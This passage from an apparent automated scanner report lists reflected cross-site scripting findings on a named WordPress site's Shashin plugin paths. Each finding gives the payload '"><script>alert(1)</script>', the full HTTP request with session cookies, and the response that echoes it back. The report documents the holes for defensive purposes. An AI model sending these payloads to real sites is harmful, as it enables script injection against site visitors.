GET /wp-content/pluginsd4def"><script>alert(1)</script>5481a628ff9/shashin/display/highslide/graphics/zoomout.cur HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723; __qca=P0-548444246-1297257725663

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:04 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/pluginsd4def\"><script>alert(1)</script>5481a628ff9/shashin/display/highslide/graphics/zoomout.cur"/>
...[SNIP]...

1.257. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8250b"><script>alert(1)</script>b8de5556943 was submitted in the REST URL parameter 3. This input was echoed as 8250b\"><script>alert(1)</script>b8de5556943 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin8250b"><script>alert(1)</script>b8de5556943/display/highslide/graphics/zoomout.cur HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723; __qca=P0-548444246-1297257725663

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:22 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin8250b\"><script>alert(1)</script>b8de5556943/display/highslide/graphics/zoomout.cur"/>
...[SNIP]...

1.258. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73558"><script>alert(1)</script>ef682b01297 was submitted in the REST URL parameter 4. This input was echoed as 73558\"><script>alert(1)</script>ef682b01297 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display73558"><script>alert(1)</script>ef682b01297/highslide/graphics/zoomout.cur HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723; __qca=P0-548444246-1297257725663

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:33 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:33 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display73558\"><script>alert(1)</script>ef682b01297/highslide/graphics/zoomout.cur"/>
...[SNIP]...

1.259. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63ec6"><script>alert(1)</script>0f1429f41fc was submitted in the REST URL parameter 5. This input was echoed as 63ec6\"><script>alert(1)</script>0f1429f41fc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display/highslide63ec6"><script>alert(1)</script>0f1429f41fc/graphics/zoomout.cur HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723; __qca=P0-548444246-1297257725663

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:41 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:42 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide63ec6\"><script>alert(1)</script>0f1429f41fc/graphics/zoomout.cur"/>
...[SNIP]...

1.260. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1c19"><script>alert(1)</script>a14f94d58e1 was submitted in the REST URL parameter 6. This input was echoed as b1c19\"><script>alert(1)</script>a14f94d58e1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display/highslide/graphicsb1c19"><script>alert(1)</script>a14f94d58e1/zoomout.cur HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723; __qca=P0-548444246-1297257725663

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:46 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:46 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphicsb1c19\"><script>alert(1)</script>a14f94d58e1/zoomout.cur"/>
...[SNIP]...

1.261. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 593ac"><script>alert(1)</script>e6b3473958a was submitted in the REST URL parameter 7. This input was echoed as 593ac\"><script>alert(1)</script>e6b3473958a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur593ac"><script>alert(1)</script>e6b3473958a HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05; __utmz=176138661.1297257723.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/6; __utma=176138661.2034632851.1297257723.1297257723.1297257723.1; __utmc=176138661; __utmb=176138661.1.10.1297257723; __qca=P0-548444246-1297257725663

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:50 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:51 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18944

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/graphics/zoomout.cur593ac\"><script>alert(1)</script>e6b3473958a"/>
...[SNIP]...

1.262. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/highslide.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/highslide.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51865"><script>alert(1)</script>36c3af1a628 was submitted in the REST URL parameter 1. This input was echoed as 51865\"><script>alert(1)</script>36c3af1a628 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content51865"><script>alert(1)</script>36c3af1a628/plugins/shashin/display/highslide/highslide.js?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18948

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content51865\"><script>alert(1)</script>36c3af1a628/plugins/shashin/display/highslide/highslide.js?ver=4.1.4"/>
...[SNIP]...

1.263. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/highslide.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/highslide.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a44f0"><script>alert(1)</script>b433535b039 was submitted in the REST URL parameter 2. This input was echoed as a44f0\"><script>alert(1)</script>b433535b039 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/pluginsa44f0"><script>alert(1)</script>b433535b039/shashin/display/highslide/highslide.js?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:22:52 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18948

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/pluginsa44f0\"><script>alert(1)</script>b433535b039/shashin/display/highslide/highslide.js?ver=4.1.4"/>
...[SNIP]...

1.264. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/highslide.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/highslide.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd142"><script>alert(1)</script>4d9a95a7d1a was submitted in the REST URL parameter 3. This input was echoed as cd142\"><script>alert(1)</script>4d9a95a7d1a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashincd142"><script>alert(1)</script>4d9a95a7d1a/display/highslide/highslide.js?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:04 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18948

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashincd142\"><script>alert(1)</script>4d9a95a7d1a/display/highslide/highslide.js?ver=4.1.4"/>
...[SNIP]...

1.265. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/highslide.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/highslide.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd7a1"><script>alert(1)</script>9e8358628c was submitted in the REST URL parameter 4. This input was echoed as cd7a1\"><script>alert(1)</script>9e8358628c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/displaycd7a1"><script>alert(1)</script>9e8358628c/highslide/highslide.js?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:23 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18946

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/displaycd7a1\"><script>alert(1)</script>9e8358628c/highslide/highslide.js?ver=4.1.4"/>
...[SNIP]...

1.266. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/highslide.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/highslide.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0e7a"><script>alert(1)</script>ff499529adf was submitted in the REST URL parameter 5. This input was echoed as d0e7a\"><script>alert(1)</script>ff499529adf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display/highslided0e7a"><script>alert(1)</script>ff499529adf/highslide.js?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:33 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:34 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18948

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslided0e7a\"><script>alert(1)</script>ff499529adf/highslide.js?ver=4.1.4"/>
...[SNIP]...

1.267. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/highslide.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide/highslide.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8dd3"><script>alert(1)</script>086fea328ce was submitted in the REST URL parameter 6. This input was echoed as a8dd3\"><script>alert(1)</script>086fea328ce in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/plugins/shashin/display/highslide/highslide.jsa8dd3"><script>alert(1)</script>086fea328ce?ver=4.1.4 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:23:40 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 13:23:40 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18948

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphp
...[SNIP]...
<meta property="og:url" content="http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide/highslide.jsa8dd3\"><script>alert(1)</script>086fea328ce?ver=4.1.4"/>
...[SNIP]...

1.268. http://www.vogel-nest.de/wp-content/plugins/shashin/display/highslide_settings.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.vogel-nest.de
Path:	/wp-content/plugins/shashin/display/highslide_settings.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cbe88"><script>alert(1)</script>f7328fe3fd was submitted in the REST URL parameter 1. This input was echoed as cbe88\"><script>alert(1)</script>f7328fe3fd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-contentcbe88"><script>alert(1)</script>f7328fe3fd/plugins/shashin/display/highslide_settings.js?ver=2.6.3 HTTP/1.1
Host: www.vogel-nest.de
Proxy-Connection: keep-alive
Referer: http://www.vogel-nest.de/wiki88b4a%22%3E%3Cscript%3Ealert(1)%3C/script%3Ed4f14d53e5d/Main/ImageSnap
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=hjfq1e50o6i5niqqk10hhbos05

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 13:22:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Pingback: http://www.vogel-nest.de/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
